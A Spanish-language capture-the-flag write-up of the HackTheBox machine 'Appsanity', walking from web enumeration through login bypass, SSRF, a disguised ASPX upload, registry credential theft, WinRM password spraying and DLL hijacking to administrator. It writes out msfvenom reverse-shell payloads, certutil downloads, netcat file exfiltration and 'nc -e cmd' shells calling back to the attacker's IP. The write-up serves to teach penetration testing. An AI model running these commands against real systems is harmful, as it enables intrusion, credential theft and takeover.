Appsanity – HackTheBox Link to heading

  • OS: Windows
  • Dificultad: Hard/Difícil
  • Plataforma: HackTheBox

‘Appsanity’ Avatar

User / Usuario Link to heading

El escaneo de Nmap muestra 3 puertos abiertos: 80 HTTP, 443 HTTPs, y 5895 Windows Remote Management (WinRM).

# Nmap 7.94SVN scan initiated Thu Mar  7 22:16:14 2024 as: nmap -sVC -p80,443,5985,7680 -oN targeted 10.10.11.238
Nmap scan report for 10.10.11.238
Host is up (0.20s latency).

PORT     STATE SERVICE    VERSION
80/tcp   open  http       Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to https://meddigi.htb/
443/tcp  open  https?
5985/tcp open  http       Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Del scan de Nmap puedo ver que para el puerto 80 éste redirige al dominio meddigi.htb. De manera que agrego este dominio al archivo /etc/hosts:

❯ sudo echo '10.10.11.238 meddigi.htb' >> /etc/hosts

Visitando https://meddigi.htb (y luego de “aceptar el riesgo” puesto que la página tiene un certificado autofirmado) puedo ver una página web que ofrece servicios médicos:

Appsanity image 1

En la parte superior derecha de la página web puedo un panel de login, en el cual además puedo crearme un usuario/cuenta. Pruebo las típicas credenciales admin:admin y similares, pero no funciona.

Me creo un usuario, logueo y puedo ver algo como lo siguiente:

Appsanity image 2

Continúo analizando la página web, pero no hallo nada interesante.

Ahora, intentare encontrar Virtual Hostings (Vhosts) usando ffuf:

❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u https://meddigi.htb/ -H 'Host: FUZZ.meddigi.htb'

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : https://meddigi.htb/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.meddigi.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

portal                  [Status: 200, Size: 2976, Words: 1219, Lines: 57, Duration: 2833ms]
:: Progress: [4989/4989] :: Job [1/1] :: 60 req/sec :: Duration: [0:01:27] :: Errors: 0 ::

y encuentro algo: portal. De manera que agrego portal.meddigi.htb en la misma línea donde previamente había agregado meddigi.htb en mi archivo /etc/hosts, de manera que ahora éste se ve como:

❯ cat /etc/hosts

127.0.0.1       localhost

<SNIP>
10.10.11.238 meddigi.htb portal.meddigi.htb

Luego de agregar este sitio a mi archivo /etc/hosts visito https://portal.meddigi.htb y puedo ver un portal de login: Appsanity image 3

Aparentemente, es un portal hecho para que los médicos que trabajan en la empresa puedan entrar

Devuelta al sitio https://meddigi.htb me intento crear una nueva cuenta, pero esta vez interceptaré la petición al crear la cuenta con Burpsuite. Noto que cuando me creo una cuenta puedo ver un parámetro en la petición llamado Acctype, el cual por defecto tiene el valor 1. De manera que cambio ese valor a Acctype=2 y mantengo todo el resto de los parámetros exactamente iguales.

Appsanity image 4

Ahora voy a la sección Sign In del sitio web https://meddigi.htb, pero esta vez me logueo con la nueva cuenta creada llamada testTwo (dado que el sitio web no aceptaba números para los parámetros First Name y Last Name al crear el usuario). Ahora mi panel al loguear es levemente diferente, dado que ahora puedo ver, al lado derecho, la opción Patients (Pacientes) la cual muestra los usuarios que me había creado previamente cuando estaba testeando la página:

Appsanity image 5.png

de manera que, al parecer, hemos creado exitosamente un usuario con el rol Doctor (o algo por el estilo)

Como sea, aparentemente sólo puedo ver usuarios (pacientes) y nada más.

De vuelta al sitio web https://portal.meddigi.htb decido chequear las cookies. En Firefox hago lo siguiente: Click Derecho -> Inspect -> Storage. Pero no veo ninguna cookie/data guardada. No obstante, si clickeamos en el símbolo “Más” + al lado derecho (si pongo mi mouse encima de éste dice Add Item (Añadir ítem)) puedo agregar/modificar la data guardada.

Appsanity image 7

¿Qué pasa si agregamos las cookies/data guardada del sitio web https://meddigi.htb de nuestra cuenta creada como Doctor, pero ahora en este sitio web? De manera que veo mis cookies de https://meddigi.htb

Appsanity image 6

Copio el valor de access_token y lo paso a la web https://portal.meddigi.htb:

Appsanity image 8

Recargo la página y estamos dentro. De manera que hemos bypasseado el login:

Appsanity image 9

Una vez dentro puedo ver muchas opciones en este manel disponibles al lado izquierdo de éste. Issue Prescriptions llama mi atención dado que lo puedo llenar con datos. Luego de probar distintas cosas, noto que podemos realizar un Server-Side Request Forgery (SSRF) si llamamos http://127.0.0.1:8080 en el campo Prescription Link:

Appsanity_10.png

Si hago click en Submit puedo ver reportes que aparecen en una ventana emergente.

Desde la ventana emergente del SSRF noto que, cuando pongo mi mouse sobre la palabra/link View Report, el server interpreta archivos aspx dado que tenemos una variable llamada ViewReport.aspx. Por esta razón me creo un archivo malicioso.aspx usando msfvenom:

❯ msfvenom -p windows -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.10.16.6 LPORT=443 -f aspx -o shell.aspx

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of aspx file: 3425 bytes
Saved as: shell.aspx

donde 10.10.16.6 es mi IP de atacante y 443 es el puerto por el cual empezaré a escuchar con netcat. Llamaré a este archivo shell.aspx

Al lado izquierdo hago click en Upload Report, relleno los datos con cualquier data random, pero al final adjunto el archivo malicioso shell.aspx e intento subirlo

Al principio esto no funciona dado que, aparentemente, hay un filtro que no está aceptando el archivo subido. De manera que al subir el archivo intercepto la petición con Burpsuite, y, al principio del payload agrego el magic byte %PDF-1.7 y el archivo, aparentemente, se sube.

Bypass PDF

Devuelta a la pestaña Issue Prescriptions, relleno el campo Email address con lo que sea y Prescription Link con http://127.0.0.1:8080 para explotar/abusar del SSRF y puedo ver lo siguiente; el archivo malicioso:

Checking malicious file

donde, si nos fijamos en la parte inferior izquierda de la imagen anterior, podemos ver el link que es llamado cuando clickeamos sobre éste.

En mi reporte malicioso (el link View Report), hago click derecho sobre éste y luego en Copy Link (Copiar Link) donde obtengo:

https://portal.meddigi.htb/ViewReport.aspx?file=7b6ed9d4-8963-4d79-9189-abd49df52ad1_shell.aspx

pero dado que en realidad quiero abusar del SSRF, cambiaré la parte que dice https://portal.meddigi.htb a http://127.0.0.1:8080, de manera que esta variable/url queda como:

http://127.0.0.1:8080/ViewReport.aspx?file=7b6ed9d4-8963-4d79-9189-abd49df52ad1_shell.aspx

Finalmente, empiezo un listener con netcat en el puerto 443:

❯ rlwrap nc -lvnp 443

y en la página web, en el campo Prescription Link, procedo a pasar el link indicado arriba:

Appsanity_12.png

clickeo en Submit

Y obtengo una reverse shell:

❯ rlwrap nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.238] 51532
Microsoft Windows [Version 10.0.19045.3570]
(c) Microsoft Corporation. All rights reserved.

c:\windows\system32\inetsrv>whoami
whoami
appsanity\svc_exampanel

donde podemos obtener la flag de usuario en el Desktop de svc_exampanel.

NT Authority/System - Administrator / Administrador Link to heading

Este usuario no tiene ningún permiso que llame la atención:

C:\Users>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
============================= ==================================== ========
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process   Disabled
SeShutdownPrivilege           Shut down the system                 Disabled
SeAuditPrivilege              Generate security audits             Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeUndockPrivilege             Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
SeTimeZonePrivilege           Change the time zone                 Disabled

de manera que descarto este vector de momento

Puedo ver un directorio inetpub ubicado en C:\:

c:\>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is F854-971D

 Directory of c:\

09/24/2023  01:25 AM    <DIR>          inetpub
09/24/2023  10:30 AM    <DIR>          Microsoft
12/07/2019  01:14 AM    <DIR>          PerfLogs
10/23/2023  03:59 PM    <DIR>          Program Files
09/24/2023  03:59 PM    <DIR>          Program Files (x86)
03/07/2024  07:28 PM    <DIR>          Users
10/23/2023  11:40 AM    <DIR>          Windows
               0 File(s)              0 bytes
               7 Dir(s)   3,995,791,360 bytes free

Luego de husmear un poco, llego a la carpeta/directorio:

c:\inetpub\ExaminationPanel\ExaminationPanel\bin>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is F854-971D

 Directory of c:\inetpub\ExaminationPanel\ExaminationPanel\bin

09/26/2023  06:30 AM    <DIR>          .
09/26/2023  06:30 AM    <DIR>          ..
09/24/2023  07:46 AM         4,991,352 EntityFramework.dll
09/24/2023  07:46 AM           591,752 EntityFramework.SqlServer.dll
09/24/2023  07:46 AM            13,824 ExaminationManagement.dll
09/24/2023  07:46 AM            40,168 Microsoft.CodeDom.Providers.DotNetCompilerPlatform.dll
09/24/2023  07:49 AM    <DIR>          roslyn
09/24/2023  07:46 AM           431,792 System.Data.SQLite.dll
09/24/2023  07:46 AM           206,512 System.Data.SQLite.EF6.dll
09/24/2023  07:46 AM           206,520 System.Data.SQLite.Linq.dll
09/24/2023  07:49 AM    <DIR>          x64
09/24/2023  07:49 AM    <DIR>          x86
               7 File(s)      6,481,920 bytes
               5 Dir(s)   3,995,791,360 bytes free

Para transferir archivos desde la máquina víctima Windows a mi máquina atacante Linux procedo a subir un binario de netcat para Windows. Empiezo un servidor Python HTTP temporal en el puerto 80:

❯ python3 -m http.server 80

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

y en la máquina víctima (luego de moverme a C:\Users\Public\Downloads\, un directorio donde sí tengo permiso de escritura de archivos) descargo el ejecutable de netcat usando certutil:

c:\inetpub\ExaminationPanel\ExaminationPanel\bin>cd C:\Users\Public\Downloads
cd C:\Users\Public\Downloads

C:\Users\Public\Downloads>certutil.exe -urlcache -split -f http://10.10.16.6:80/nc.exe .\nc.exe
certutil.exe -urlcache -split -f http://10.10.16.6:80/nc.exe .\nc.exe
****  Online  ****
  0000  ...
  b0d8
CertUtil: -URLCache command completed successfully.

C:\Users\Public\Downloads>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is F854-971D

 Directory of C:\Users\Public\Downloads

03/07/2024  07:57 PM    <DIR>          .
03/07/2024  07:57 PM    <DIR>          ..
03/07/2024  07:57 PM            45,272 nc.exe
               1 File(s)         45,272 bytes
               2 Dir(s)   3,995,688,960 bytes free

Ahora sí puedo pasar los archivos. Más específicamente, voy a trensferir el archivo ExaminationManagement.dll localizado en c:\inetpub\ExaminationPanel\ExaminationPanel\bin. En la máquina víctima procedo a correr:

C:\Users\Public\Downloads>.\nc.exe 10.10.16.6 4444 -w 3 < c:\inetpub\ExaminationPanel\ExaminationPanel\bin\ExaminationManagement.dll

.\nc.exe 10.10.16.6 4444 -w 3 < c:\inetpub\ExaminationPanel\ExaminationPanel\bin\ExaminationManagement.dll

y en mi listener de netcat obtengo y guardo el archivo:

❯ nc -lvnp 4444 > ExaminationManagement.dll
listening on [any] 4444 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.238] 51540

❯ ls -la
total 24
drwxr-xr-x 2 gunzf0x gunzf0x  4096 Mar  8 01:03 .
drwxr-xr-x 5 gunzf0x gunzf0x  4096 Mar  7 22:12 ..
-rw-r--r-- 1 gunzf0x gunzf0x 13824 Mar  8 01:03 ExaminationManagement.dll
Advertencia
La conexión entre la reverse shell obtenida mediante el archivo malicioso .aspx puede que muera cuando pasemos los archivos usando netcat, así que esto puede ser tedioso. De todas formas, aquí noto que el tamaño del archivo ExaminationManagement.dll es el mismo tanto en la máquina víctima como en la mía, de manera que se debería haber traspasado correctamente (para ser honesto me da flojera comprobar los hashes md5, de momento).

Paso el archivo descargado de mi máquina Kali a una Máquina Virtual con Windows dado que usaré dnSpy (el cual podemos descargar desde su repositorio de Github) y hacer un poco de Reverse Engineering (Ingeniería Inversa). Luego de analizar el archivo con dnSpy puedo ver algo aparentemente interesante en ExaminationPanel -> ViewReport:

Analyzing file with dnspy

Este archivo .dll está llamando un registry key, el cual podría contener credenciales, a Software\\MedDigi

Devuelta a la shell obtenida con el SSRF en el portal del sitio web, podemos intentar leer este registry key:

c:\windows\system32\inetsrv>reg query HKEY_LOCAL_MACHINE\Software\MedDigi
reg query HKEY_LOCAL_MACHINE\Software\MedDigi

HKEY_LOCAL_MACHINE\Software\MedDigi
    EncKey    REG_SZ    1g0tTh3R3m3dy!!

y tenemos, aparentemente, una contraseña.

No obstante, tenemos más usuarios en esta máquina:

c:\windows\system32\inetsrv>dir C:\Users
dir C:\Users
 Volume in drive C has no label.
 Volume Serial Number is F854-971D

 Directory of C:\Users

03/07/2024  07:28 PM    <DIR>          .
03/07/2024  07:28 PM    <DIR>          ..
10/18/2023  05:08 PM    <DIR>          Administrator
09/24/2023  10:16 AM    <DIR>          devdoc
09/15/2023  05:59 AM    <DIR>          Public
10/18/2023  05:40 PM    <DIR>          svc_exampanel
10/17/2023  02:05 PM    <DIR>          svc_meddigi
10/18/2023  06:10 PM    <DIR>          svc_meddigiportal
               0 File(s)              0 bytes
               8 Dir(s)   3,995,529,216 bytes free

de manera que guardo todos estos usuarios dentro de un archivo y uso crackmapexec para chequear si estas credenciales son válidas para algunos de los usuarios via WinRM (dado que, recordemos, el scan de Nmap mostró que este servicio estaba disponible en la máquina).

❯ crackmapexec winrm 10.10.11.238 -u potential_users.txt -p '1g0tTh3R3m3dy!!' --continue-on-success

SMB         10.10.11.238    5985   NONE             [*] None (name:10.10.11.238) (domain:None)
HTTP        10.10.11.238    5985   NONE             [*] http://10.10.11.238:5985/wsman
WINRM       10.10.11.238    5985   NONE             [-] None\Administrator:1g0tTh3R3m3dy!!
WINRM       10.10.11.238    5985   NONE             [+] None\devdoc:1g0tTh3R3m3dy!! (Pwn3d!)
WINRM       10.10.11.238    5985   NONE             [-] None\svc_exampanel:1g0tTh3R3m3dy!!
WINRM       10.10.11.238    5985   NONE             [-] None\svc_meddigi:1g0tTh3R3m3dy!!
WINRM       10.10.11.238    5985   NONE             [-] None\svc_meddigiportal:1g0tTh3R3m3dy!!

como podemos ver hemos encontrado las credenciales devdoc:1g0tTh3R3m3dy!!

Me logueo en la máquina víctima usando evil-winrm y la credencial encontrada, pero ahora impersonando al usuario devdoc:

❯ evil-winrm -i 10.10.11.238 -u devdoc -p '1g0tTh3R3m3dy!!'

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\devdoc\Documents>

Luego de mirar archivos encuentro el directorio C:\Program Files\ReportManagement:

*Evil-WinRM* PS C:\Program Files\ReportManagement> dir


    Directory: C:\Program Files\ReportManagement


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----        10/23/2023  11:33 AM                Libraries
-a----          5/5/2023   5:21 AM          34152 cryptbase.dll
-a----          5/5/2023   5:21 AM          83744 cryptsp.dll
-a----         3/11/2021   9:22 AM         564112 msvcp140.dll
-a----         9/17/2023   3:54 AM         140512 profapi.dll
-a----        10/20/2023   2:56 PM         102912 ReportManagement.exe
-a----        10/20/2023   1:47 PM       11492864 ReportManagementHelper.exe
-a----         3/11/2021   9:22 AM          96144 vcruntime140.dll
-a----         3/11/2021   9:22 AM          36752 vcruntime140_1.dll
-a----          5/5/2023   5:21 AM         179248 wldp.dll

Noto que este directorio es curioso, dado que si quiero chequear su contenido como el usuario svc_exampanel (el usuario con el cual obuvimos previo acceso con la reverse shell), no podemos ver su contenido:

c:\windows\system32\inetsrv>cd c:\program files
cd c:\program files

c:\Program Files>cd ReportManagement
cd ReportManagement
Access is denied.

dado que si chequeamos los permisos de este directorio con icacls tenemos que:

c:\Program Files>icacls ReportManagement
icacls ReportManagement
ReportManagement CREATOR OWNER:(OI)(CI)(IO)(F)
                 NT AUTHORITY\SYSTEM:(OI)(CI)(F)
                 BUILTIN\Administrators:(OI)(CI)(F)
                 BUILTIN\Users:(OI)(CI)(R)
                 APPSANITY\devdoc:(RX)
                 NT SERVICE\TrustedInstaller:(CI)(F)
                 APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(OI)(CI)(RX)
                 APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(OI)(CI)(RX)

Successfully processed 1 files; Failed processing 0 files

y, como ya vimos previamente, devdoc en efecto puede leer el contenido de este directorio

Devuelta a la consola con evil-winrm, descargo uno de los archivos .exe; llamado ReportManagement.exe

*Evil-WinRM* PS C:\Program Files\ReportManagement> download ReportManagement.exe

Info: Downloading C:\Program Files\ReportManagement\ReportManagement.exe to ReportManagement.exe

Info: Download successful!

Usaré Ghidra para decompilar este binario. Luego de una laaarga búsqueda, al fin puedo ver algo:

Analyze with Ghidra

Noto que este programa crea un backup/respaldo en el directorio C:\Users\Administrator\Backup:

Executable creates a backup

Y encuentro algunas instrucciones interesantes:

Instructions for binary

de manera que, aparentemente, el archivo llama un archivo localizado en C:\Users\Program Files\ReportManagement\Libraries para un comando llamado upload. Es más, este archivo aparentemente se llama externalupload.dll:

File being called

Chequeo si puedo crear archivos dentro del directorio Libraries:

*Evil-WinRM* PS C:\program files\ReportManagement> ls


    Directory: C:\program files\ReportManagement


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----        10/23/2023  11:33 AM                Libraries
-a----          5/5/2023   5:21 AM          34152 cryptbase.dll
-a----          5/5/2023   5:21 AM          83744 cryptsp.dll
-a----         3/11/2021   9:22 AM         564112 msvcp140.dll
-a----         9/17/2023   3:54 AM         140512 profapi.dll
-a----        10/20/2023   2:56 PM         102912 ReportManagement.exe
-a----        10/20/2023   1:47 PM       11492864 ReportManagementHelper.exe
-a----         3/11/2021   9:22 AM          96144 vcruntime140.dll
-a----         3/11/2021   9:22 AM          36752 vcruntime140_1.dll
-a----          5/5/2023   5:21 AM         179248 wldp.dll


*Evil-WinRM* PS C:\program files\ReportManagement> icacls Libraries
Libraries APPSANITY\devdoc:(OI)(CI)(RX,W)
          BUILTIN\Administrators:(I)(F)
          CREATOR OWNER:(I)(OI)(CI)(IO)(F)
          NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
          BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
          BUILTIN\Users:(I)(OI)(CI)(R)
          NT SERVICE\TrustedInstaller:(I)(CI)(F)
          APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(RX)
          APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(OI)(CI)(RX)

Successfully processed 1 files; Failed processing 0 files

y, como el usuario devdoc, podemos.

Si chequeo qué puertos internos están abiertos en la máquina encuentro uno que no es muy común:

*Evil-WinRM* PS C:\program files\ReportManagement\Libraries> cmd /c 'netstat -an | find "LISTENING"'

  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING
  TCP    0.0.0.0:100            0.0.0.0:0              LISTENING
  <SNIP>

Hay un servicio corriendo internamente en el puerto 100

Primero, noto que este servicio no es un sitio web (o algo relacionado):

*Evil-WinRM* PS C:\program files\ReportManagement\Libraries> cmd /c curl http://127.0.0.1:100

cmd.exe :   % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
    + CategoryInfo          : NotSpecified: (  % Total    % ...  Time  Current:String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError
                                 Dload  Upload   Total   Spent    Left  Speed  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0curl: (1) Received HTTP/0.9 when not allowed

No soy capaz de re-usar el binario netcat para Windows que había usado para descargar el archivo ExaminationManagement.dll previamente, esto dado que el directorio C:\Users\Public\Downloads me deniega el acceso como el usuario devdoc (lo cual es rarete, pero bueno…), de manera que vuelvo a subir un binario de netcat en C:\Users\devdoc\Downloads.

Ahora uso este binario re-subido de netcat, pero esta vez como objetivo el localhost en el puerto 100 y obtengo:

*Evil-WinRM* PS C:\program files\ReportManagement\Libraries> C:\Users\devdoc\Downloads\nc.exe 127.0.0.1 100

Reports Management administrative console. Type "help" to view available commands.

de manera que, aparentemente, el binario que decompilamos previamente es el servicio corriendo en el puerto 100. Pero si typeo/escribo help en la consola (tal cual sugiere el mismo servicio) el programa se cuelga/no responde.

Adicionalmente necesitamos una manera de “activar” este servicio corriendo en el puerto 100 y, además, crear un archivo dll malicioso.

Usando msfvenom ahora creo un archivo malicioso dll:

❯ msfvenom -p windows -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.10.16.6 LPORT=443 -f dll -o externalupload.dll

en la máquina víctima voy a C:\Program Files\ReportManagement\Libraries y subo el archivo malicioso:

*Evil-WinRM* PS C:\Users\devdoc\Documents> cd C:\'program files'\ReportManagement\Libraries
*Evil-WinRM* PS C:\program files\ReportManagement\Libraries> upload ../exploits/externalupload.dll

Info: Uploading /home/gunzf0x/HTB/HTBMachines/Hard/Appsanity/content/../exploits/externalupload.dll to C:\program files\ReportManagement\Libraries\externalupload.dll

Data: 12288 bytes of 12288 bytes copied

Info: Upload successful!

Ahora, tenemos 2 opciones: i) Intentar un Remote Port Forwarding para convertir/redirigir el tráfico del puerto 100 desde la máquina víctima a algún puerto de nuestra máquina atacante o, ii) Más simple, noto que si corro nc.exe contra localhost desde la consola de evil-winrm, la cual es una consola con Powershell, esto no funciona muy bien; de manera que cuando llamamos ejecutamos nc.exe 127.0.0.1 100 la consola no responde. Como sea, si me lanzo una reverse shell desde evil-winrm a un listener de netcat para pasar de Powershell a una CMD noto que correr nc.exe contra el localhost funciona bien. De manera procedo a correr:

*Evil-WinRM* PS C:\Users\devdoc\Documents> C:\Users\devdoc\Downloads\nc.exe 10.10.16.6 444 -e cmd

y cambio de una consola Powershell a una CMD, donde, de nuevo, puedo correr el servicio en 127.0.0.1:100 sin problemas:

❯ rlwrap nc -lvnp 444

listening on [any] 444 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.238] 51547
Microsoft Windows [Version 10.0.19045.3570]
(c) Microsoft Corporation. All rights reserved.

C:\Users\devdoc\Documents>cd ..\Downloads
cd ..\Downloads

C:\Users\devdoc\Downloads>.\nc.exe 127.0.0.1 100
.\nc.exe 127.0.0.1 100

Reports Management administrative console. Type "help" to view available commands.
help
Available Commands:
backup: Perform a backup operation.
validate: Validates if any report has been altered since the last backup.
recover <filename>: Restores a specified file from the backup to the Reports folder.
upload <external source>: Uploads the reports to the specified external source.

Finalmente, empiezo un listener con netcat en el puerto 443 (el mismo que he definido cuando me había creado el archivo malicioso .dll). En la máquina víctima procedo a correr:

C:\program files\ReportManagement\Libraries>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is F854-971D

 Directory of C:\program files\ReportManagement\Libraries

03/07/2024  10:27 PM    <DIR>          .
03/07/2024  10:27 PM    <DIR>          ..
03/07/2024  10:27 PM             9,216 externalupload.dll
               1 File(s)          9,216 bytes
               2 Dir(s)   3,994,132,480 bytes free

C:\program files\ReportManagement\Libraries>C:\Users\devdoc\Downloads\nc.exe 127.0.0.1 100

C:\Users\devdoc\Downloads\nc.exe 127.0.0.1 100

Reports Management administrative console. Type "help" to view available commands.
help
Available Commands:
backup: Perform a backup operation.
validate: Validates if any report has been altered since the last backup.
recover <filename>: Restores a specified file from the backup to the Reports folder.
upload <external source>: Uploads the reports to the specified external source.
upload externalupload.dll

Y en mi listener de netcat finalmente obtengo:

❯ rlwrap nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.238] 51557
Microsoft Windows [Version 10.0.19045.3570]
(c) Microsoft Corporation. All rights reserved.

C:\Program Files\ReportManagement>whoami
whoami
appsanity\administrator

donde podemos obtener la flag en el escritorio del usuario Administrator

~Happy Hacking